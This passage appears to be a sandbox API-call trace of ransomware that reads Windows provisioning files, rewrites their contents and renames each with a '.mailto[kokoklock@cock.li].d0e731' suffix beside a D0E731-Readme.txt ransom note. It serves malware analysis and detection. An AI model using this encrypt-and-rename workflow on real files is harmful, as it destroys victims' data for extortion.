users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\113__connections_cellular_tigo (el salvador)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0085.858] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2cabf9f4 | out: lpFileSize=0x2cabf9f4*=715) returned 1 [0085.858] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x2c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.859] ReadFile (in: hFile=0x528, lpBuffer=0x2cabf9c8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cabf9c4, lpOverlapped=0x0 | out: lpBuffer=0x2cabf9c8*, lpNumberOfBytesRead=0x2cabf9c4*=0x4, lpOverlapped=0x0) returned 1 [0085.883] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.883] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0085.883] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd948 [0085.883] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd970 [0085.883] NtQuerySystemTime (in: CurrentTime=0x2cabf9a0 | out: CurrentTime=0x2cabf9a0*=132121176437735197) returned 0x0 [0085.883] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0xb026a6d4 [0085.883] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0x68d1f8fd [0085.883] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0x993bdf8a [0085.883] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0x62d20e23 [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0xe9fd195f [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0xaa7b01da [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0x1089747c [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0xfbd6a1c2 [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0x5fe84e22 [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0x3c55708b [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0xdc5ff704 [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0xaaf1ecfc [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0xd84d3118 [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0xedd08b1e [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0x4574ca4f [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0x7110954 [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0x646450c0 [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0xae1c3b0d [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0x72d891 [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0xc956655c [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0x6c9f5aa [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0xddc7a613 [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0xe0108a9a [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0x653f62c6 [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0x5aa88ea2 [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0x4884b0c7 [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0x59a009fc [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0x562e879f [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0xa1f0e6c [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0x14957708 [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0x47cfe443 [0085.884] RtlRandom (in: Seed=0x2cabf9ac | out: Seed=0x2cabf9ac) returned 0xb71a60fd [0085.894] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0085.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0085.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd0d0 [0085.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34806d8 [0085.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd5b0 [0085.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd5b0) returned 1 [0085.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.895] ReadFile (in: hFile=0x528, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x2cabf9a0, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2cabf9a0*=0x2cb, lpOverlapped=0x0) returned 1 [0085.895] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cabf968 | out: lpNewFilePointer=0x0) returned 1 [0085.895] WriteFile (in: hFile=0x528, lpBuffer=0x34b8390*, nNumberOfBytesToWrite=0x2cb, lpNumberOfBytesWritten=0x2cabf99c, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesWritten=0x2cabf99c*=0x2cb, lpOverlapped=0x0) returned 1 [0085.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd9e8 [0085.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0085.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0085.895] WriteFile (in: hFile=0x528, lpBuffer=0x55dd9e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cabf998, lpOverlapped=0x0 | out: lpBuffer=0x55dd9e8*, lpNumberOfBytesWritten=0x2cabf998*=0x20, lpOverlapped=0x0) returned 1 [0085.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd9e8) returned 1 [0085.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34806d8) returned 1 [0085.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd0d0) returned 1 [0085.895] WriteFile (in: hFile=0x528, lpBuffer=0x55dd9c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2cabf9c4, lpOverlapped=0x0 | out: lpBuffer=0x55dd9c0*, lpNumberOfBytesWritten=0x2cabf9c4*=0x8, lpOverlapped=0x0) returned 1 [0085.895] WriteFile (in: hFile=0x528, lpBuffer=0x2cabf9dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cabf9c4, lpOverlapped=0x0 | out: lpBuffer=0x2cabf9dc*, lpNumberOfBytesWritten=0x2cabf9c4*=0x4, lpOverlapped=0x0) returned 1 [0085.896] WriteFile (in: hFile=0x528, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cabf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2cabf9c4*=0x4, lpOverlapped=0x0) returned 1 [0085.896] WriteFile (in: hFile=0x528, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2cabf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2cabf9c4*=0x6c, lpOverlapped=0x0) returned 1 [0085.896] WriteFile (in: hFile=0x528, lpBuffer=0x55dd948*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cabf9c4, lpOverlapped=0x0 | out: lpBuffer=0x55dd948*, lpNumberOfBytesWritten=0x2cabf9c4*=0x20, lpOverlapped=0x0) returned 1 [0085.896] WriteFile (in: hFile=0x528, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cabf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2cabf9c4*=0x4, lpOverlapped=0x0) returned 1 [0085.896] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd948) returned 1 [0085.896] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd998) returned 1 [0085.896] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd9c0) returned 1 [0085.896] CloseHandle (hObject=0x528) returned 1 [0085.896] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x188) returned 0x33f2308 [0085.896] wcscpy (in: _Dest=0x33f2308, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml" [0085.896] wcscat (in: _Dest=0x33f2308, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0085.896] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\113__connections_cellular_tigo (el salvador)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\113__connections_cellular_tigo (el salvador)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.897] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.897] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f2308) returned 1 [0085.897] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0085.898] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348b058 [0085.898] wcscpy (in: _Dest=0x348b058, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.898] wcscat (in: _Dest=0x348b058, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.898] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0085.898] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b058) returned 1 [0085.898] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341fb78) returned 1 [0085.898] RtlExitUserThread (Status=0x1) Thread: id = 1277 os_tid = 0x10dc [0085.216] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\114__connections_cellular_tigo (el salvador)_i1$(__mvid)@wap.provxml")) returned 0x20 [0085.832] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0085.837] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\114__connections_cellular_tigo (el salvador)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0085.840] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2cb3f998 | out: lpFileSize=0x2cb3f998*=652) returned 1 [0085.840] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x288, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.840] ReadFile (in: hFile=0x4a4, lpBuffer=0x2cb3f96c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cb3f968, lpOverlapped=0x0 | out: lpBuffer=0x2cb3f96c*, lpNumberOfBytesRead=0x2cb3f968*=0x4, lpOverlapped=0x0) returned 1 [0085.841] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.842] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd880 [0085.842] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8a8 [0085.842] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.842] NtQuerySystemTime (in: CurrentTime=0x2cb3f944 | out: CurrentTime=0x2cb3f944*=132121176437422661) returned 0x0 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0xb1681903 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x153d8ed3 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x4aeb5ff9 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x2a1297a5 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x3e0e4444 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x6e3b2786 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x7b7d2801 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x248be9af [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x38d0a143 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x642f24a4 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0xc1d9b854 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x6bd481b2 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0xb1d17190 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x6c716289 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0xb9af3f74 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x4cd156ad [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x667abc82 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x5fadcf3e [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x15b91aff [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0xa1290889 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0xad116e87 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x2940e89f [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x559f59cb [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x1f88c637 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0xad92184 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x3814fd66 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0xb9d935e7 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x356eacf8 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0xe2433652 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x18a90507 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x466f3776 [0085.842] RtlRandom (in: Seed=0x2cb3f950 | out: Seed=0x2cb3f950) returned 0x289f0041 [0085.854] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0085.854] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd880) returned 1 [0085.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0085.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34804f8 [0085.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd880 [0085.854] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd880) returned 1 [0085.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.855] ReadFile (in: hFile=0x4a4, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x28c, lpNumberOfBytesRead=0x2cb3f944, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2cb3f944*=0x28c, lpOverlapped=0x0) returned 1 [0085.855] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cb3f90c | out: lpNewFilePointer=0x0) returned 1 [0085.855] WriteFile (in: hFile=0x4a4, lpBuffer=0x34b8390*, nNumberOfBytesToWrite=0x28c, lpNumberOfBytesWritten=0x2cb3f940, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesWritten=0x2cb3f940*=0x28c, lpOverlapped=0x0) returned 1 [0085.855] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd9c0 [0085.855] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd5b0 [0085.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd5b0) returned 1 [0085.855] WriteFile (in: hFile=0x4a4, lpBuffer=0x55dd9c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cb3f93c, lpOverlapped=0x0 | out: lpBuffer=0x55dd9c0*, lpNumberOfBytesWritten=0x2cb3f93c*=0x20, lpOverlapped=0x0) returned 1 [0085.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd9c0) returned 1 [0085.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0085.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0085.855] WriteFile (in: hFile=0x4a4, lpBuffer=0x55dd970*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2cb3f968, lpOverlapped=0x0 | out: lpBuffer=0x55dd970*, lpNumberOfBytesWritten=0x2cb3f968*=0x8, lpOverlapped=0x0) returned 1 [0085.855] WriteFile (in: hFile=0x4a4, lpBuffer=0x2cb3f980*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cb3f968, lpOverlapped=0x0 | out: lpBuffer=0x2cb3f980*, lpNumberOfBytesWritten=0x2cb3f968*=0x4, lpOverlapped=0x0) returned 1 [0085.855] WriteFile (in: hFile=0x4a4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cb3f968, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2cb3f968*=0x4, lpOverlapped=0x0) returned 1 [0085.856] WriteFile (in: hFile=0x4a4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2cb3f968, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2cb3f968*=0x6c, lpOverlapped=0x0) returned 1 [0085.856] WriteFile (in: hFile=0x4a4, lpBuffer=0x55dd8a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cb3f968, lpOverlapped=0x0 | out: lpBuffer=0x55dd8a8*, lpNumberOfBytesWritten=0x2cb3f968*=0x20, lpOverlapped=0x0) returned 1 [0085.856] WriteFile (in: hFile=0x4a4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cb3f968, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2cb3f968*=0x4, lpOverlapped=0x0) returned 1 [0085.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8a8) returned 1 [0085.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0085.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd970) returned 1 [0085.856] CloseHandle (hObject=0x4a4) returned 1 [0085.856] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x188) returned 0x34bec70 [0085.856] wcscpy (in: _Dest=0x34bec70, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml" [0085.856] wcscat (in: _Dest=0x34bec70, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0085.856] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\114__connections_cellular_tigo (el salvador)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\114__connections_cellular_tigo (el salvador)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.857] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.857] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bec70) returned 1 [0085.857] SetFileAttributesW (lpFileName="C:\\Users\\All 